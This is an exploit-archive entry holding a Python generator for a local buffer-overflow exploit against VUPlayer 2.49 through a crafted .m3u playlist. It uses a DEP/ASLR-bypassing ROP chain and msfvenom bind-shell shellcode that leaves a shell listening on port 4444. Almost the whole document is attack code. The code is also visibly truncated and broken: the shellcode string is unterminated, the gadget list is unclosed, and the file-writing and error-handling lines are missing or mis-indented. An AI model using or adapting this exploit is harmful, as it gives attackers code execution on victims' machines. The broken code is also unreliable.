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VUPlayer 2.49 .m3u - Local Buffer Overflow (DEP,ASLR)



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# Exploit title: VUPlayer 2.49 .m3u - Local Buffer Overflow (DEP,ASLR)
# Date: 2020-05-22
# Exploit Author: Gobinathan L
# Vendor Homepage: http://www.vuplayer.com/
# Version: v2.49
# Tested on: Windows 7 Professional with ALSR and Full DEP Turned ON.

# Usage             : $ python <exploit>.py 

#===================================[ VUPlayer 2.49 Exploit Generator ]======================================#

import struct

# msfvenom -p windows/shell_bind_tcp exitfunc=thread -b "\x00\x0a\x0d\x1a" -f c
shell = ("\xd9\xc9\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x53\xbd\xa9\xc1\xbf"

ret     = struct.pack("<I", 0x10010158)

def create_rop_chain():

    rop_gadgets = [
      0x100106e1,    #POP EBP RET
      0x100106e1,    #Ptr to POP EBP RET popped into EBP
      0x10015f82,    #POP EAX RET
      0xfffffdff,    #Value to Negate.. result in 0x201
      0x10014db4,    #NEG EAX RET
      0x10032f72,    #XCHG EAX, EBX RET
      0x10015f82,    #POP EAX RET
      0xffffffc0,    #Value to negate ..result in 0x40
      0x10014db4,    #NEG EAX RET
      0x10038a6d,    #XCHG EAX, EDX RET
      0x106053e5,    #POP ECX RET      
      0x101082cc,    #Random Location with Write Access
      0x1001621c,    #POP EDI RET
      0x10010158,    #RET will be stored in EDI
      0x10604154,    #POP ESI RET
      0x10101c02,    #JMP [EAX]
      0x10015f77,    # POP EAX # RETN [BASS.dll] 
      0x10109270,    # ptr to &VirtualProtect() [IAT BASSWMA.dll]
      0x1001d7a5,    # PUSHAD # RETN
      0x10022aa7,    # JMP ESP
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
shellcode = "\x90"*32 + shell

buffer = "A"*1012
buffer+= ret
buffer+= rop_chain
buffer+= shellcode
buffer+= "\x90"*(2500 - len(buffer))

    f = open("exploit.m3u", "w")
    print("[+] Payload Generated Successfully.")
    print("[+] Check for Open Port [4444] on Target Machine. A Bind shell is waiting for you..")
    print("[-] Couldn't Generate Payload.")
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